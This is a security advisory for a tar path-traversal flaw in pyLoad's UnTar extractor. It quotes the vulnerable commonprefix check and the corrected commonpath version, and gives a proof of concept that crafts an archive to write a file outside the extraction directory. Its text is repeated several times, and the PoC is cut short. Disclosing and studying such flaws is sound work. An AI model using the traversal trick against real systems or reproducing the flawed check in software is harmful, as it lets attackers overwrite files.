CVE-2026-35592

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.

Summary

The _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix.

Details

The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct is_within_directory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():

# fs.py:384 — CORRECT implementation
def is_within_directory(base_dir, target_dir):
    real_base = os.path.realpath(base_dir)
    real_target = os.path.realpath(target_dir)
    return os.path.commonpath([real_base, real_target]) == real_base

However, the _safe_extractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():

# UnTar.py:10-22 — VULNERABLE implementation
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    def _is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14
        return prefix == abs_directory

    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not _is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkg_evil/payload (resolving to /downloads/pkg_evil/payload):

• commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads/pkg' — equals the directory, check passes
• commonpath(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads' — does NOT equal the directory, check correctly fails

The extraction path is reached via: ExtractArchive.package_finished() (line 182) → extract_queued() → UnTar.extract() (line 76) → _safe_extractall(t, self.dest) (line 81).

PoC

Self-contained proof of concept demonstrating the bypass:

import tarfile, io, os, shutil

dest = '/tmp/test_extraction_dir'
shutil.rmtree(dest, ignore_errors=True)
shutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)
os.makedirs(dest, exist_ok=True)

# Step 1: Create malicious tar with member that escapes via prefix trick
with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:
    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')
    data = b'escaped the sandbox!'
    info.size = len(data)
    tar.addfile(info, io.BytesIO(data))

# Step 2: Reproduce the vulnerable check from UnTar.py:11-15
def _is_within_directory(directory, target):
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)
    prefix = os.path.commonprefix([abs_directory, abs_target])
    return prefix == abs_directory

# Step 3: Verify the check is bypassed
with tarfile.open('/tmp/evil.tar.gz') as tar:
    for member in tar.getmembers():
        member_path = os.path.join(dest, member.name)
        bypassed = _is_within_directory(dest, member_path)
        print(f'Member: {member.name}')
        print(f'Resolved: {os.path.abspath(member_path)}')
        print(f'Check passes (should be False): {bypassed}')
    tar.extractall(dest)

# Step 4: Confirm file was written outside extraction directory
escaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'
assert os.path.exists(escaped_file), "File did not escape"
print(f'File escaped to: {escaped_file}')…

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.

Summary

The _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix.

Details

The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct is_within_directory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():

# fs.py:384 — CORRECT implementation
def is_within_directory(base_dir, target_dir):
    real_base = os.path.realpath(base_dir)
    real_target = os.path.realpath(target_dir)
    return os.path.commonpath([real_base, real_target]) == real_base

However, the _safe_extractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():

# UnTar.py:10-22 — VULNERABLE implementation
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    def _is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14
        return prefix == abs_directory

    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not _is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkg_evil/payload (resolving to /downloads/pkg_evil/payload):

• commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads/pkg' — equals the directory, check passes
• commonpath(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads' — does NOT equal the directory, check correctly fails

The extraction path is reached via: ExtractArchive.package_finished() (line 182) → extract_queued() → UnTar.extract() (line 76) → _safe_extractall(t, self.dest) (line 81).

PoC

Self-contained proof of concept demonstrating the bypass:

import tarfile, io, os, shutil

dest = '/tmp/test_extraction_dir'
shutil.rmtree(dest, ignore_errors=True)
shutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)
os.makedirs(dest, exist_ok=True)

# Step 1: Create malicious tar with member that escapes via prefix trick
with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:
    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')
    data = b'escaped the sandbox!'
    info.size = len(data)
    tar.addfile(info, io.BytesIO(data))

# Step 2: Reproduce the vulnerable check from UnTar.py:11-15
def _is_within_directory(directory, target):
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)
    prefix = os.path.commonprefix([abs_directory, abs_target])
    return prefix == abs_directory

# Step 3: Verify the check is bypassed
with tarfile.open('/tmp/evil.tar.gz') as tar:
    for member in tar.getmembers():
        member_path = os.path.join(dest, member.name)
        bypassed = _is_within_directory(dest, member_path)
        print(f'Member: {member.name}')
        print(f'Resolved: {os.path.abspath(member_path)}')
        print(f'Check passes (should be False): {bypassed}')
    tar.extractall(dest)

# Step 4: Confirm file was written outside extraction directory
escaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'
assert os.path.exists(escaped_file), "File did not escape"
print(f'File escaped to: {escaped_file}')…

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.